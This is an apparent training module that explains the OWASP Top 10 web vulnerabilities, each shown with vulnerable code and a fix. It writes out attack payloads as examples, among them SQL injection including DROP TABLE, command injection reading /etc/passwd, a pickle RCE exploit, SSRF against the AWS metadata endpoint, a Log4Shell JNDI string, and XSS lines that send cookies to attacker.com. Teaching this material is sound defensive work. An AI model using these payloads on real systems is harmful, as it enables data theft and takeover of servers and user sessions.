Web Application Attacks — OWASP Top 10 From First Principles
SQL injection, XSS, SSRF, IDOR — every OWASP vulnerability explained with real attack examples and the exact code patterns that cause them.
// Part 01
Why Web Application Security Matters Most
Web applications are the most attacked surface in modern computing — not because they are especially poorly written, but because they are internet-facing by design, handle sensitive data by necessity, and represent the largest and most diverse attack surface of any computing category. The OWASP (Open Web Application Security Project) Top 10 catalogues the most critical and common vulnerability classes. Every security engineer, every developer, and every penetration tester must know them.
These are not theoretical vulnerabilities. SQL injection, Cross-Site Scripting, and Broken Access Control appear in real breaches every week. The 2021 LinkedIn data scrape (700 million records), the 2022 Optus breach (11.2 million Australians' data), and hundreds of smaller breaches each year trace back to one or more OWASP Top 10 vulnerabilities. Understanding them from first principles — not just knowing the names — is what separates a security engineer who can find and fix these issues from one who can only recite them.
This module covers the OWASP Top 10 (2021 edition) from the attacker's perspective: the exact conditions that create each vulnerability, how an attacker exploits it, the real-world impact, and the specific code patterns that fix it. The goal is to build the mental model that lets you recognise these vulnerabilities in code you read and write — not just in exam questions.
// Part 02
A01 — Broken Access Control
Access control enforces that users can only perform actions or access data that they are authorised for. Broken access control means the enforcement fails — authenticated users can access resources that belong to other users, perform administrative actions they should not, or manipulate access control mechanisms themselves.
Insecure Direct Object Reference (IDOR)
IDOR is the most common broken access control pattern. The application uses a user-controllable reference (ID, filename, account number) to directly access an object without verifying that the requesting user owns or is authorised to access it.
# Vulnerable endpoint
GET /api/invoices/1042
Authorization: Bearer [user_alice_token]
# Response: Alice's invoice — correct
GET /api/invoices/1043 ← Alice changes the ID
Authorization: Bearer [user_alice_token]
# Response: Bob's invoice — IDOR vulnerability
# Alice accessed Bob's private invoice with no authorisation check
# The fix: always verify ownership server-side
def get_invoice(invoice_id, current_user):
invoice = Invoice.get(invoice_id)
if invoice.owner_id != current_user.id:
raise Forbidden("Access denied") # ← authorisation check
return invoicePrivilege Escalation via Parameter Tampering
# Vulnerable registration endpoint that accepts a role parameter
POST /api/register
{"username": "attacker", "password": "pass123", "role": "admin"}
# If the server sets the role from the request body without validation:
# attacker now has an admin account
# Fix: never accept role or privilege from user input
# Always derive role from server-side logic (default: user, manually elevated by admin)Forced Browsing
Accessing URLs or API endpoints that should be restricted but are not properly protected. An admin panel at /admin that only checks if the user is authenticated (not if they are an admin) can be accessed by any logged-in user. Vertical privilege escalation — a regular user accessing admin functionality.
🎯 Pro Tip
Broken access control is consistently the #1 OWASP vulnerability by occurrence rate — it appears in 94% of tested applications in some form. It is also the most impactful: access control failures lead directly to data breaches. The fix is never a clever technical mechanism — it is consistently checking authorisation on every resource access on the server side, never trusting client-supplied authorisation indicators.
// Part 03
A02 — Cryptographic Failures (Sensitive Data Exposure)
Previously called "Sensitive Data Exposure," this category covers two related failures: storing or transmitting sensitive data without adequate encryption, or using weak/broken cryptographic algorithms that provide false security.
# Failure 1: Sensitive data transmitted over HTTP
http://bank.example.com/login ← credentials in plaintext, visible to network observers
# Failure 2: Sensitive data stored without encryption
CREATE TABLE users (
id INT,
email VARCHAR(255),
password VARCHAR(255), ← plaintext passwords
ssn VARCHAR(11) ← SSN stored without encryption
);
# Failure 3: Weak password hashing
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest() # MD5 — crackable in seconds
# Failure 4: Using deprecated algorithms
cipher = DES.new(key, DES.MODE_ECB) # DES (56-bit) — broken. ECB mode — broken.
# Correct: strong hashing for passwords, encryption for sensitive fields
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
from cryptography.fernet import Fernet # AES-128-CBC + HMAC — for field encryptionReal-world impact: the 2012 LinkedIn breach exposed 6.5 million SHA-1 password hashes (unsalted). By 2016, it emerged that 117 million accounts were affected and the majority of passwords had been cracked within days using GPU-based dictionary attacks. SHA-1 without salt, cracked in bulk — a cryptographic failure with 117 million victims.
// Part 04
A03 — Injection (SQL Injection and Beyond)
Injection vulnerabilities occur when untrusted user input is processed as code or a command rather than as data. SQL injection is the canonical example, but the same pattern extends to OS command injection, LDAP injection, XPath injection, and any other context where user input and execution context mix.
SQL Injection — The Mechanics
# Vulnerable login query (Python + f-string)
query = f"SELECT * FROM users WHERE email='{email}' AND password='{password}'"
# Normal input: email="alice@example.com", password="hunter2"
# SQL: SELECT * FROM users WHERE email='alice@example.com' AND password='hunter2'
# Attack: email="' OR '1'='1' --", password="anything"
# SQL: SELECT * FROM users WHERE email='' OR '1'='1' --' AND password='anything'
# ↑ rest of query commented out
# '1'='1' is always true → returns all users → attacker is logged in as first user (often admin)
# Attack: email="'; DROP TABLE users; --", password="anything"
# SQL: SELECT * FROM users WHERE email=''; DROP TABLE users; --'
# Deletes the entire users table — destructive SQLi
# Attack: email="' UNION SELECT username, password FROM admin_users --"
# Extracts admin credentials from a different table — data exfiltration SQLiThe Fix: Parameterised Queries
# WRONG — string concatenation or f-strings with user input
cursor.execute(f"SELECT * FROM users WHERE email='{email}'") # VULNERABLE
# CORRECT — parameterised queries (prepared statements)
cursor.execute("SELECT * FROM users WHERE email = %s", (email,)) # Python DB-API
cursor.execute("SELECT * FROM users WHERE email = ?", [email]) # SQLite
stmt = conn.prepare("SELECT * FROM users WHERE email = $1") # PostgreSQL
# ORMs parameterise by default
User.objects.filter(email=email) # Django ORM — safe
User.where(email: email) # ActiveRecord — safe
db.query("SELECT...", email) # with explicit parameters — check your ORM docs
# NEVER raw string format even with ORMs
User.objects.raw(f"SELECT * FROM users WHERE email='{email}'") # VULNERABLEOS Command Injection
# Vulnerable: shell=True with user input
import subprocess
result = subprocess.run(f"ping {host}", shell=True)
# Attack: host = "127.0.0.1; cat /etc/passwd"
# Runs: ping 127.0.0.1; cat /etc/passwd → executes arbitrary OS commands
# Fix: pass arguments as a list, never use shell=True with user input
result = subprocess.run(["ping", "-c", "1", host]) # host is just a string argument, not parsed as shell// Part 05
A04 — Insecure Design
Insecure design is a category that sits above specific vulnerabilities — it represents missing or ineffective security controls at the design level. You can write perfectly implemented code that is insecurely designed. Examples include: a password reset flow that reveals whether an email exists (enabling account enumeration); a payment system that trusts client-supplied pricing; an API that returns full objects when the caller only needed one field (over-fetching sensitive data).
# Insecure design: password reset flow reveals account existence
POST /api/reset-password {"email": "target@company.com"}
# If account exists: {"message": "Reset email sent to target@company.com"}
# If not exists: {"message": "No account found for that email"}
# Attacker can enumerate valid email addresses in bulk
# Secure design: same response regardless
{"message": "If an account exists with that email, you will receive a reset link."}
# Insecure design: client-supplied price
POST /api/checkout {"item_id": 42, "price": 0.01}
# Server trusts the price from the request body
# Secure design: price always retrieved server-side from the product database
# Never trust price, quantity, or discount values from the client// Part 06
A05 — Security Misconfiguration
Security misconfiguration is the most broadly applicable OWASP category — it encompasses every case where a secure feature exists but is not enabled or is configured incorrectly. Default credentials, verbose error messages, open cloud storage, unnecessary features enabled, missing security headers.
# Common misconfigurations: 1. Default credentials Admin:admin, admin:password, root:root on routers, databases, applications Shodan can find thousands of devices with default credentials 2. Directory listing enabled GET /uploads/ → Lists all uploaded files including private documents Fix: disable directory listing in nginx/apache config 3. Cloud storage misconfiguration AWS S3 bucket with public-read ACL containing customer data Google Cloud Storage bucket without authentication Exposed .git directories revealing source code 4. Verbose error messages in production Stack traces, SQL errors, file paths revealed to users 5. Missing security headers No Content-Security-Policy → XSS impact amplified No Strict-Transport-Security → SSL stripping possible No X-Frame-Options → clickjacking possible 6. Unnecessary features enabled PHP info page at /phpinfo.php reveals server configuration Admin interfaces at default paths (/wp-admin, /phpmyadmin) Debug endpoints left enabled in production (/debug, /actuator)
// Part 07
A06 — Vulnerable and Outdated Components
Modern applications depend on hundreds of third-party libraries and frameworks. Each dependency is a potential vulnerability. When a critical vulnerability is discovered in a widely-used library — like Log4j's Log4Shell (CVE-2021-44228) — every application that uses that library is suddenly vulnerable.
# Log4Shell (CVE-2021-44228) — December 2021
# Apache Log4j 2.x library vulnerable to remote code execution
# The library evaluates JNDI lookups in log messages
# Attacker sends a request with this string in any logged field (User-Agent, username, etc.):
{jndi:ldap://attacker.com/a}
# Log4j processes the string → makes LDAP request to attacker.com
# Attacker's LDAP server responds with a Java class → RCE
# Every application using Log4j 2.0-2.14.1 (millions of applications) was vulnerable
# Exploitation began within hours of public disclosure
# CVSS score: 10.0 (maximum)
# Dependency scanning — tools to detect vulnerable libraries:
# npm audit (JavaScript/Node.js)
# pip-audit (Python)
# bundler-audit (Ruby)
# OWASP Dependency-Check (Java, .NET, multi-language)
# Snyk, GitHub Dependabot, socket.dev — automated in CI/CD// Part 08
A07 — Identification and Authentication Failures
Authentication failures enable attackers to assume other users' identities. This category covers weak passwords, broken session management, credential stuffing, and implementation errors in authentication flows.
# Common authentication failures:
1. No brute-force protection
POST /login {"username":"admin","password":"*"} × 1,000,000 attempts
Fix: account lockout or rate limiting after N failures
2. Weak password policy
Accepting "password", "12345678", "company2026"
Fix: enforce minimum complexity AND check against Have I Been Pwned breach database
3. Credential stuffing (using breached credentials from other sites)
65% of users reuse passwords — breach at site A gives credentials for site B
Fix: MFA defeats credential stuffing
4. Weak session management
session_id = str(random.randint(0, 999999)) # predictable 6-digit token
Fix: use cryptographically random 128-bit session tokens (os.urandom(16).hex())
5. Session not invalidated on logout
Old session token still works after user clicks "Logout"
Fix: server-side session invalidation — delete session record on logout
6. Password reset with weak token
Reset token is MD5(email + timestamp) — predictable
Fix: secrets.token_urlsafe(32) — cryptographically random token
Store hash of token, compare on use, expire after 1 hour, single-use// Part 09
A08 — Software and Data Integrity Failures
This category covers scenarios where software, data, or dependencies are used without verifying their integrity — trusting content that could have been modified by an attacker.
CI/CD Pipeline Compromise
A compromised build pipeline can inject malicious code into legitimate software without changing the source code. The SolarWinds attack is the defining example: attackers modified the build process for SolarWinds Orion to include the SUNBURST backdoor in the compiled binary. The source code repository was clean; the build output was malicious.
Insecure Deserialization
# Deserialization vulnerability — Python pickle example
import pickle
import base64
# Server deserializes user-supplied data without validation
data = request.cookies.get('user_session')
session = pickle.loads(base64.b64decode(data)) # DANGEROUS
# Attacker crafts a malicious pickle payload that executes code on load:
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
malicious = base64.b64encode(pickle.dumps(Exploit())).decode()
# Attacker sets cookie to malicious value → server deserializes → RCE
# Fix: never deserialize user-supplied data with pickle/Java serialization
# Use JSON (no code execution risk) with explicit schema validationUnsigned Package Updates
Applications that pull updates from URLs without signature verification can be hijacked: a compromised CDN, a DNS hijack, or a man-in-the-middle attack can replace a legitimate update with malicious code. Package signing (npm provenance, Python package hashes, GPG-signed packages) and HTTPS for all package sources are the mitigations.
// Part 10
A09 — Security Logging and Monitoring Failures
This category captures an often-overlooked reality: attacks that are not detected and not investigated cause the same damage as attacks that are. The average dwell time — the time between a breach and its detection — was 204 days globally in 2022. During that time, attackers may have exfiltrated terabytes of data. The absence of logging and monitoring is what enables that dwell time.
# What must be logged:
- Authentication events (success and failure, with IP and timestamp)
- Authorization failures (403 Forbidden responses — access denied attempts)
- Input validation failures (WAF hits, error responses to unusual input)
- API authentication failures (invalid tokens, expired sessions)
- Privilege escalation events (account role changes, sudo usage)
- Data access of sensitive resources (access to PII, financial data)
- Application errors (500 responses, exception stack traces — server-side only)
# What a log entry must contain:
{
"timestamp": "2026-05-09T14:32:17.234Z", # Always UTC
"event_type": "authentication_failure",
"user_id": "usr_12345", # Or null for anonymous
"ip_address": "185.234.1.2",
"user_agent": "Mozilla/5.0...",
"resource": "/api/admin/users",
"request_id": "req_abc123" # Correlate across services
}
# What NOT to log (sensitive data in logs is a breach):
- Passwords or password hashes
- Full credit card numbers or CVVs
- Session tokens or API keys
- Full SSNs or medical record numbers// Part 11
A10 — Server-Side Request Forgery (SSRF)
SSRF occurs when a web application fetches a remote resource on behalf of the user, and an attacker can control or influence the URL that is fetched. This allows attackers to use the server as a proxy to reach internal resources — cloud metadata services, internal APIs, databases, and services that should not be reachable from the internet.
# Vulnerable endpoint: fetch URL provided by user
@app.route('/preview')
def preview():
url = request.args.get('url')
response = requests.get(url) # Server fetches attacker-controlled URL
return response.content
# Attack 1: Access cloud instance metadata
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS metadata endpoint returns IAM credentials for the EC2 instance role
# Attacker now has AWS credentials with whatever permissions the instance has
# Attack 2: Port scan the internal network
GET /preview?url=http://192.168.1.10:6379/
# If Redis is running and unauthenticated, returns Redis banner → port confirmed open
# Attack 3: Access internal APIs
GET /preview?url=http://internal-api.company.internal/admin/users
# Fix: allowlist approach — only permit specific trusted domains
ALLOWED_DOMAINS = {'cdn.company.com', 'api.trusted-vendor.com'}
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("URL not permitted")
# Also block private IP ranges before making any request
import ipaddress
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Private IP not permitted")SSRF is particularly dangerous in cloud environments because cloud providers expose metadata services at well-known internal IPs. The 2019 Capital One breach — which exposed 100 million customers' data — involved SSRF against the AWS metadata endpoint, obtaining IAM credentials that then accessed the S3 buckets containing customer data.
// Part 12
Cross-Site Scripting (XSS) — JavaScript Injection
XSS is technically an injection vulnerability (injection of JavaScript into web pages) and was part of earlier OWASP Top 10 lists. It remains one of the most common and impactful web vulnerabilities despite not being a standalone category in the 2021 edition. Three types exist, with different mechanics and impact:
Reflected XSS
# The server reflects user input directly into the HTML response without encoding
GET /search?q=<script>alert(document.cookie)</script>
# Vulnerable response:
<html>
<p>Search results for: <script>alert(document.cookie)</script></p>
</html>
# The script executes in the victim's browser — steals cookies, redirects, runs actions
# Attack: attacker sends a link to victim
https://legitimate-site.com/search?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>
# When victim clicks the link: their cookies are sent to attacker.comStored XSS (Persistent XSS)
# Attacker submits a comment that gets stored in the database:
POST /api/comments {"text": "<script>document.location='https://attacker.com/?c='+document.cookie</script>"}
# Every user who views the page with this comment executes the script
# This is more dangerous than Reflected XSS — no user interaction with a malicious link needed
# The payload is served from the legitimate site to every visitor
# Real-world example: Samy worm (2005) — MySpace XSS that spread to 1M profiles in 20 hoursDOM-based XSS
# JavaScript reads from a dangerous source and writes to a dangerous sink without sanitisation
// Vulnerable: reads location.hash and writes to innerHTML
const fragment = location.hash.substring(1); // dangerous source
document.getElementById('content').innerHTML = fragment; // dangerous sink
// Attack: https://site.com/page#<img src=x onerror=alert(document.cookie)>
// The hash value is read by JS and written to DOM — executes attacker script
// Fix: use textContent instead of innerHTML (no HTML parsing = no XSS)
document.getElementById('content').textContent = fragment;XSS Prevention
# 1. Output encoding — encode all dynamic content before inserting into HTML
from markupsafe import escape
safe_output = escape(user_input) # < becomes <, > becomes > etc.
# 2. Content Security Policy — restricts which scripts can execute
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
# 3. Modern frameworks encode by default
# React: {variable} → encoded by default (safe)
# Angular: {{variable}} → encoded by default (safe)
# Dangerous: dangerouslySetInnerHTML in React, bypassSecurityTrust* in Angular
# 4. HttpOnly cookies — JavaScript cannot read them even if XSS fires
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict// Part 13
What This Looks Like at Work — Finding IDOR in a Code Review
// Part 14
Interview Prep — 5 Questions With Complete Answers
// Part 15
OWASP Vulnerabilities Found in Real Code Reviews
🎯 Key Takeaways
- ✓The OWASP Top 10 represents the most critical and common web application vulnerability classes — not an exhaustive list of all vulnerabilities. Understanding these from first principles (why the vulnerability exists, not just what it is called) enables recognition in real code.
- ✓Broken Access Control (A01) is the most common vulnerability — present in 94% of tested applications. IDOR is the most common pattern: a user-controlled ID used to access a resource without verifying the requesting user owns it. The fix is always a server-side authorisation check on every resource access.
- ✓SQL Injection (A03) occurs when user input is concatenated into SQL queries rather than passed as parameters. The fix is parameterised queries everywhere, with zero exceptions. ORMs protect by default when used correctly; raw string formatting SQL is always vulnerable.
- ✓XSS (not a separate OWASP 2021 category but still critical) injects JavaScript into web pages. Reflected XSS requires user interaction with a malicious link. Stored XSS is served by the legitimate site to all visitors. DOM-based XSS is a client-side JavaScript vulnerability. Output encoding and Content Security Policy are the primary mitigations.
- ✓SSRF (A10) allows attackers to force the server to make HTTP requests to arbitrary URLs, reaching internal services and cloud metadata endpoints. The Capital One breach exploited SSRF to access AWS IAM credentials. Prevention requires URL allowlisting and blocking private IP ranges at request time.
- ✓Cryptographic failures (A02) include: plaintext transmission (HTTP instead of HTTPS), weak password hashing (MD5, SHA-1, SHA-256 — too fast), and deprecated algorithms (DES, ECB mode). Use AES-256-GCM for encryption, Argon2id for password hashing, and TLS 1.2+ everywhere.
- ✓Vulnerable dependencies (A06) can compromise the application through no fault of the application code. Log4Shell (CVE-2021-44228) demonstrated how a single dependency vulnerability can expose millions of applications instantly. Dependency scanning in CI/CD pipelines (Dependabot, Snyk, pip-audit) is required hygiene.
- ✓Security logging and monitoring failures (A09) enable long attacker dwell times — the average 204 days between breach and detection is primarily a logging failure. Log authentication events, authorisation failures, and sensitive data access. Never log passwords, tokens, or sensitive field values.
- ✓Session management security: session tokens must be cryptographically random (128+ bits of entropy), server-side invalidated on logout, expired after inactivity, transmitted only over HTTPS, and HttpOnly. JWTs without server-side revocation cannot be invalidated — design accordingly.
- ✓The AppSec mindset for code review: at every resource access, ask "does the server verify that this authenticated user is authorised to access this specific resource?" At every SQL query, ask "is user input parameterised?" At every HTML render, ask "is dynamic content encoded?" These three questions catch the majority of OWASP Top 10 vulnerabilities.
What comes next
In Module 10, you go to the network layer — how MITM attacks intercept traffic, how ARP poisoning works at the wire level, how DNS hijacking redirects connections, and the tools that perform and detect these attacks.
Module 10 → Network Attacks — MITM, Sniffing, ARP Poisoning, DNS HijackingDiscussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.